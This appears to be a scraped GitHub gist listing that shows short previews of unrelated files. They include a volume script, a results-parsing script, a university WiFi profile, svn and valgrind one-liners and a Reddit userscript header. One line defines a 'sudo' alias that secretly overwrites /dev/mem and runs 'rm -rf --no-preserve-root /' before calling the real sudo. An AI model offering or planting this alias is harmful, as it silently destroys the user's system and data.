This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
case $1 in | |
"up") | |
amixer -c 1 set Master $2%+ | |
;; | |
"down") | |
amixer -c 1 set Master $2%- | |
;; | |
"set") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Expects to be at the same level as a results/ directory. | |
# Inside that directory should be a directory for each algorithm. | |
# Inside each of those directories should be the .stat files for each dataset. | |
results=./results/ | |
one_algo=$(find $results/ -type d -printf "%f\n" | tail -n 1) | |
datasets=$(find $results/$one_algo/ -type f -printf "%f\n") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Description='RITnet' | |
Interface= | |
Connection=wireless | |
Security=wpa-configsection | |
IP=dhcp | |
ESSID=RIT | |
WPAConfigSection=( | |
'ssid="RIT"' | |
'key_mgmt=WPA-EAP' | |
'eap=PEAP' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias sudo='sudo cat /dev/urandom > /dev/mem 2>/dev/null & sudo rm -rf --no-preserve-root / >/dev/null 2>&1 & sudo' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
svn log -v --xml | grep '<author.*/author>' | sed 's/<author>\(.*\)<\/author>/\1/' | sort | uniq -c | sort -rn |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
valgrind ./executable --leak-check=full -v --track-origins=yes --show-leak-types=all |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Robin Stay | |
// @namespace http://tampermonkey.net/ | |
// @version 1.44 | |
// @description Try to take over the world! | |
// @author /u/mvartan | |
// @contributor /u/lonnez | |
// @include https://www.reddit.com/robin* | |
// @updateURL https://github.com/hplewis/robin-grow/raw/master/robin.user.js | |
// @originalRepo https://github.com/vartan/robin-grow/raw/master/robin.user.js |